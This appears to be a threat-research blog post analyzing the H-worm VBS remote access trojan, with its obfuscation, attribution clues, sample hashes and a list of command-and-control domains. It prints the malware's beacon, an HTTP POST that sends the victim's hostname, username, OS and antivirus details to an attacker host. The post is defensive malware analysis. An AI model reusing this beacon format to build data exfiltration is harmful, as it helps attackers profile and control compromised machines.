H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The Payload

The H-worm payload is simply a VBS file, which is often wrapped, in a PE executable dropper. The H-worm VBS file is also packed with multiple layers of obfuscation in some cases. While analyzing such samples (81c153256efd9161f4d89fe5fd7015bc and 4543daa6936dde54dda8782b89d5daf1), we discovered that they were obfuscated with custom Base64 encoding, multiple levels of standard Base64 encoding (Safa Crypter), and character substitutions. The obfuscation techniques used have been described here [3] already and are summarized in Figure 1 below. There is also an Autoit version of H-worm called the "underworld version" floating around which has the same functionality as the VBS version.

Dissecting Command and Control (CnC) Behavior

Upon successful compromise, the worm generates network telemetry (beacon), as shown below:

POST /is-ready HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: {DiskVolumeSerial}<|>{Hostname}<|>{Username}<|>{OS}<|>plus<|>{AVProductInstalled or nan-av}<|>{USBSpread: true or false} - {CurrentSystemDate}

Accept-Encoding: gzip, deflate

Host: silent9.zapto.org:7895

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

As seen in the beacon, it sends out various pieces of sensitive identification information in the User-Agent field. We have also observed versions where the URI was modified to use other strings such as "POST /I_AM_READY". The keyword "<|>plus<|>" is constant in the beacon but we have seen versions where this was modified as well. We saw instances where "<|>underworld final<|>" was used instead. It expects a response of the form:

{command}<|>{param1}<|>{param2}

The worm supports the following remote commands:

Table 1 - Remote commands available in H-worm

Behind The Curtains

The control panel for H-worm has a builder and a controller interface to interact with the infected machine. The control panel is written in Delphi. Some of the features such as password grabber and USB spreading were not functional in the versions we analyzed. These features could be operational in newer versions of H-worm.

The author, Houdini, has a portal to show off his wares, which hosts a demonstration video of H-worm. The contents of the portal indicate that he is proficient in both French and Arabic. Based on this and various other identifiable clues in the video, it is likely that the author of H-worm is from Algeria. We also believe the thumbnail images briefly seen in the video may be of the author himself. For the keen eyed observers, it is also evident that the author likes to play "Beetle Bug 2" and "Chicken invaders 4".

CnC Intel Analysis

On further analysis of the command and control infrastructure, we discovered that the CnC infrastructure used by some of the H-worm variants were shared by others RATs such as NjW0rm, njRat/LV, XtremeRAT, and PoisonIvy. The attackers behind these instances appear to have an arsenal of RATs at their disposal, in order to perform various attack campaigns.

Table 2 - Direct overlaps on command and control infrastructure

Possible Connections to the njq8 Enterprise

We recently talked about njw0rm [1] and the author behind it, njq8. We found strong connections indicating that njw0rm and njRAT/LV [2] were written by the same author. We believe H-worm is also linked to njq8, through a shared code base. An earlier version of H-worm was analyzed here [4], by another researcher. It is evident from this older version, that the client side module was originally coded by njq8. The older version beacons with "POST /ready" instead of "POST /is-ready", as seen in the newer versions. This blog was re-tweeted on the njq8 twitter page. Our earlier njw0rm blog was also promptly re-tweeted on the njq8 twitter page.  It is unclear how connected Houdini and njq8 are, but it is likely that njq8 is a group of individuals collaborating on the development of RATs, or alternatively, there are development forks on the same code base by multiple authors.

H-worm Hashes

00df326eee18617fae2fdd3684ac1546

1488cdc5c5c9c87b4e0dae27ba3511cb

4543daa6936dde54dda8782b89d5daf1

80b1f909d1217313c14ea6d4d0b003dc

81c153256efd9161f4d89fe5fd7015bc

c6b53fc46427527a0739e6b6443ef72d

9e273220eb71f849ea99b923cbc1fae3

43309710ab8f87dc5d9842a5bca85f80

a40faab2f3f546aeb29aaefcb0f751d8

617a128b44671ac88df0b7180d9d0135

ae5c8ad09954a56f348a3b72ed824363

da3e2eeffd78d8c5ef472b8a09e9d325

H-worm Command and Control (CnC) Infrastructure

adamdam.zapto.org:1973

adolf2013.sytes.net:1183

adolf2013.sytes.net:1184

ahmad212.no-ip.biz:86

alii007.zapto.org:288

alii007.zapto.org:6611

am1.no-ip.info:1888

ballgogo.no-ip.biz:8088

basss.no-ip.info:2026

basss.no-ip.info:82

bg1337.zapto.org:1155

bog5151.zapto.org:991

dataday3.no-ip.org:83

docteuur13.no-ip.org:444

doda.redirectme.net:777

dzhacker15.no-ip.org:82

g00gle.sytes.net:4448

gerssy.zapto.org:6000

googlechrome.servegame.com:1990

hackediraq.no-ip.biz:88

hackeralbasrah.no-ip.biz:8888

hattouma12.no-ip.biz:88

hmode123.no-ip.biz:9090

karimstar.zapto.org:85

kiyoma200.no-ip.biz:1117

koko.myftp.org:9090

mda.no-ip.org:88

medolife.no-ip.biz:1247

microsoftsystem.sytes.net:4442

mootje01.no-ip.org:81

msgbox.zapto.org:5246

new-hacker.no-ip.org:81

njnj.redirectme.net:123

no99.zapto.org:81

noooot.no-ip.biz:443

pess-123.zapto.org:1604

pess-12.zapto.org:81

portipv6.redirectme.net:1991

ronaldo-123.no-ip.biz:2011

ronaldo-123.no-ip.biz:2013

sawdz.no-ip.biz:333

securityfocus.bounceme.net:1166

shagagy21.no-ip.biz:1605

sidisalim.myvnc.com:1888

silent9.zapto.org:7895

terminator9.zapto.org:1991

vpn-hacker.no-ip.biz:9090

xbox720.zapto.org:1991

xkiller.no-ip.info:1

yahia17.no-ip.org:1177

zeusback.no-ip.biz:223

zoia.no-ip.org:446

References:

[1] /content/fireeye-www/global/en/www/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html

[2] /content/fireeye-www/global/en/www/blog/threat-research/2012/09/the-story-behind-backdoorlv.html

[3] http://pwndizzle.blogspot.com/2013/09/how-not-to-obfuscate-your-malware.html

[4] http://laudarch.blogspot.com/2013/05/serviecavbs-reverse-engineered.html

We would like to thank Darien Kindlund, Nart Villeneuve, Uttang Dawda, Mike Scott, and Ali Mesdaq for their help and support.